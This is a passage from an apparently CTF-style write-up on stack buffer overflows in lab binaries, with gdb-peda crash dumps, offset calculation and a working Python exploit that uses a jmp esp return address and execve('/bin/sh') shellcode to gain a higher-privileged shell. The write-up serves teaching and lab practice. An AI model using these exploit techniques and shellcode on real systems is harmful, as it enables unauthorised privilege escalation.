Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
                                                       
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/level3/level3.txt
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1003&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1002&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level2&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
2c41d9ef668[REDACTED]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h1 id=&quot;level-3---level-4&quot;&gt;Level 3 -&amp;gt; Level 4:&lt;/h1&gt;

&lt;p&gt;Obtaining access as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level4 &lt;/code&gt; user is almost the same as getting access to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level3&lt;/code&gt;, where the only difference here would the offset.&lt;/p&gt;

&lt;p&gt;Therefore, I will not be provided much details regarding the steps of identifing offset and related.&lt;/p&gt;

&lt;p&gt;It is good practice to attempt and replicate the steps using the information from the previous challenges.&lt;/p&gt;

&lt;p&gt;Idenfing the offset at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;level4&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_create 300
&lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa---SNIP---'&lt;/span&gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA---SNIP---'&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x6a &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'j'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EBX: 0x41412d41 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'A-AA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1
EDX: 0xf7fa9890 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
ESI: 0xffffd6d0 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x2
EDI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EBP: 0x44414128 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'(AAD'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ESP: 0xffffd680 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EIP: 0x413b4141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AA;A'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EFLAGS: 0x10286 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry PARITY adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Invalid &lt;span class=&quot;nv&quot;&gt;$PC&lt;/span&gt; address: 0x413b4141
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xffffd680 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xffffd684 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;EAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0008| 0xffffd688 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0012| 0xffffd68c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xffffd690 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;bAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0020| 0xffffd694 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0024| 0xffffd698 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xffffd69c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x413b4141 &lt;span class=&quot;k&quot;&gt;in&lt;/span&gt; ?? &lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Using the previously gained information, the offset is adjusted.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_offset 0x413b4141
1094402369 found at offset: 28
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The final exploit should look like the following:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#!/usr/bin/env python2
&lt;/span&gt;&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;struct&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;28&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# offset = 268 (junk)
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mh&quot;&gt;0x56558043&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# jmpcall : 0x56558043 jmp esp;
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;struct&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;pack&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&amp;lt;I&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# pack the jmpcall in little endian
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# slide to shellcode
&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;10&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;# execve(&quot;/bin/sh&quot;)
&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;print&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;offset&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;ret&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nops&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;level3@kali:~&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;./levelFour &lt;span class=&quot;si&quot;&gt;$(&lt;/span&gt;./exploit.py&lt;span class=&quot;si&quot;&gt;)&lt;/span&gt;
Buf: AAAAAAAAAAAAAAAAAAAAAAAAAAAAC�UV����������1�Ph//shh/bin��PS��
                                                                   
&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;id&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;cat&lt;/span&gt; /home/level4/level4.txt
&lt;span class=&quot;nv&quot;&gt;uid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1004&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level4&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nv&quot;&gt;gid&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1003&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;groups&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;1003&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;level3&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
e879069[REDACTED]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;level-4---level-5-root&quot;&gt;Level 4 -&amp;gt; Level 5 (root):&lt;/h1&gt;

&lt;p&gt;This is the hardest level and reason being is because the program does not have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setreuid()&lt;/code&gt; function used to obtain and set the UID to the owner of the binary. This could be observed in the previous challenges. Essentially, a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setreuid()&lt;/code&gt; combined with a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; functions have to be somehow added as shellcode to make the binary drop a shell as root.&lt;/p&gt;

&lt;p&gt;Upon looking at the functions which the binary has, two would be the most interesting - &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overflow&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt;.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;info functions
All defined functions:

Non-debugging symbols:
0x00001000  _init
0x00001030  &lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt
0x00001040  gets@plt
0x00001050  __libc_start_main@plt
0x00001060  __cxa_finalize@plt
0x00001070  _start
0x000010b0  __x86.get_pc_thunk.bx
0x000010c0  deregister_tm_clones
0x00001100  register_tm_clones
0x00001150  __do_global_dtors_aux
0x000011a0  frame_dummy
0x000011a5  __x86.get_pc_thunk.dx
0x000011a9  overflow
0x000011ff  main
0x0000121b  __x86.get_pc_thunk.ax
0x00001220  __libc_csu_init
0x00001280  __libc_csu_fini
0x00001284  _fini
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt; function is used in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overflow&lt;/code&gt; function which similar to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy()&lt;/code&gt; is vulnerable to the same overflow problem and will also continuesly copy data to the stack until the program crashes.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd overflow
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;overflow:
   0x000011a9 &amp;lt;+0&amp;gt;:	push   ebp
   0x000011aa &amp;lt;+1&amp;gt;:	mov    ebp,esp
   0x000011ac &amp;lt;+3&amp;gt;:	push   ebx
   0x000011ad &amp;lt;+4&amp;gt;:	sub    esp,0x14
   0x000011b0 &amp;lt;+7&amp;gt;:	call   0x10b0 &amp;lt;__x86.get_pc_thunk.bx&amp;gt;
   0x000011b5 &amp;lt;+12&amp;gt;:	add    ebx,0x2e4b
   0x000011bb &amp;lt;+18&amp;gt;:	sub    esp,0x8
   0x000011be &amp;lt;+21&amp;gt;:	lea    eax,[ebx-0x1ff8]
   0x000011c4 &amp;lt;+27&amp;gt;:	push   eax
   0x000011c5 &amp;lt;+28&amp;gt;:	lea    eax,[ebx-0x1fe5]
   0x000011cb &amp;lt;+34&amp;gt;:	push   eax
   0x000011cc &amp;lt;+35&amp;gt;:	call   0x1030 &amp;lt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt&amp;gt;
   0x000011d1 &amp;lt;+40&amp;gt;:	add    esp,0x10
   0x000011d4 &amp;lt;+43&amp;gt;:	sub    esp,0xc
   0x000011d7 &amp;lt;+46&amp;gt;:	lea    eax,[ebp-0xc]
   0x000011da &amp;lt;+49&amp;gt;:	push   eax
 -&amp;gt; 0x000011db &amp;lt;+50&amp;gt;:	call   0x1040 &amp;lt;gets@plt&amp;gt;
   0x000011e0 &amp;lt;+55&amp;gt;:	add    esp,0x10
   0x000011e3 &amp;lt;+58&amp;gt;:	sub    esp,0x8
   0x000011e6 &amp;lt;+61&amp;gt;:	lea    eax,[ebp-0xc]
   0x000011e9 &amp;lt;+64&amp;gt;:	push   eax
   0x000011ea &amp;lt;+65&amp;gt;:	lea    eax,[ebx-0x1fe2]
   0x000011f0 &amp;lt;+71&amp;gt;:	push   eax
   0x000011f1 &amp;lt;+72&amp;gt;:	call   0x1030 &amp;lt;&lt;span class=&quot;nb&quot;&gt;printf&lt;/span&gt;@plt&amp;gt;
   0x000011f6 &amp;lt;+77&amp;gt;:	add    esp,0x10
   0x000011f9 &amp;lt;+80&amp;gt;:	nop
   0x000011fa &amp;lt;+81&amp;gt;:	mov    ebx,DWORD PTR &lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;ebp-0x4]
   0x000011fd &amp;lt;+84&amp;gt;:	leave
   0x000011fe &amp;lt;+85&amp;gt;:	ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;gets()&lt;/code&gt; is found at &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0x000011db&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;main&lt;/code&gt; function’s functionality is as follows:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pd main
Dump of assembler code &lt;span class=&quot;k&quot;&gt;for function &lt;/span&gt;main:
   0x000011ff &amp;lt;+0&amp;gt;:	push   ebp
   0x00001200 &amp;lt;+1&amp;gt;:	mov    ebp,esp
   0x00001202 &amp;lt;+3&amp;gt;:	and    esp,0xfffffff0
   0x00001205 &amp;lt;+6&amp;gt;:	call   0x121b &amp;lt;__x86.get_pc_thunk.ax&amp;gt;
   0x0000120a &amp;lt;+11&amp;gt;:	add    eax,0x2df6
   0x0000120f &amp;lt;+16&amp;gt;:	call   0x11a9 &amp;lt;overflow&amp;gt;
   0x00001214 &amp;lt;+21&amp;gt;:	mov    eax,0x0
   0x00001219 &amp;lt;+26&amp;gt;:	leave
   0x0000121a &amp;lt;+27&amp;gt;:	ret
End of assembler dump.
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;It is simple function which executes the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;overflow&lt;/code&gt; function.&lt;/p&gt;

&lt;p&gt;One thing to note here is, as mentioned above, that there is neither an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;execve()&lt;/code&gt; nor a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;setreuid()&lt;/code&gt; functions are provided. Therefore, a shellcode which uses both would be ideal so that a shell is spawned as root.&lt;/p&gt;

&lt;p&gt;Such shellcode can be obtained from &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-399.php&quot;&gt;shell-storm.org&lt;/a&gt; or another place of your choice.&lt;/p&gt;

&lt;p&gt;To start developing the exploit, let’s first crash the program and find the offset.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;pattern_create 300
&lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)A---SNIP---'&lt;/span&gt;
gdb-peda&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;r &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAE---SNIP---'&lt;/span&gt;
Starting program: /home/level4/levelFive &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'&lt;/span&gt;
Enter your input:
Buf:
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;Inferior 1 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;process 2200&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; exited normally]
Warning: not running
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;A small bump in the road with binary is that the program will wait for the user’s input upon launching it. This issue can be bypassed using a python library known as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pwntools&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Let’s re-run the program and provide the 300 bytes long string as the user input when requested.&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Starting program: /home/level4/levelFive &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'&lt;/span&gt;
Enter your input: &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'&lt;/span&gt;
Buf: &lt;span class=&quot;s1&quot;&gt;'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAA---SNIP---'&lt;/span&gt;

&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;----------------------------------registers-----------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
EAX: 0x134
EBX: 0x41424141 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'AABA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ECX: 0x1
EDX: 0xf7fa9890 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x0
ESI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EDI: 0xf7fa8000 &lt;span class=&quot;nt&quot;&gt;--&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt; 0x1d9d6c
EBP: 0x41412441 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'A$AA'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
ESP: 0xffffd5f0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAd---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EIP: 0x4341416e &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;'nAAC'&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
EFLAGS: 0x10282 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;carry parity adjust zero SIGN &lt;span class=&quot;nb&quot;&gt;trap &lt;/span&gt;INTERRUPT direction overflow&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;-------------------------------------code-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Invalid &lt;span class=&quot;nv&quot;&gt;$PC&lt;/span&gt; address: 0x4341416e
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------stack-------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
0000| 0xffffd5f0 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA-AA(AADAA;AA)---SNIP---&quot;&lt;/span&gt;..&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0004| 0xffffd5f4 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;A(AADAA;AA)---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0008| 0xffffd5f8 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;DAA;AA)---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0012| 0xffffd5fc &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AA)---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0016| 0xffffd600 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AEAAaAA0---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0020| 0xffffd604 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;aAA0AAFAAbAA1A---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0024| 0xffffd608 &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AAFAAbAA1AAGAA---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
0028| 0xffffd60c &lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&quot;AbAA1AAGAAcAA2A---SNIP---&quot;&lt;/span&gt;...&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;o&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nt&quot;&gt;------------------------------------------------------------------------------&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;]&lt;/span&gt;
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
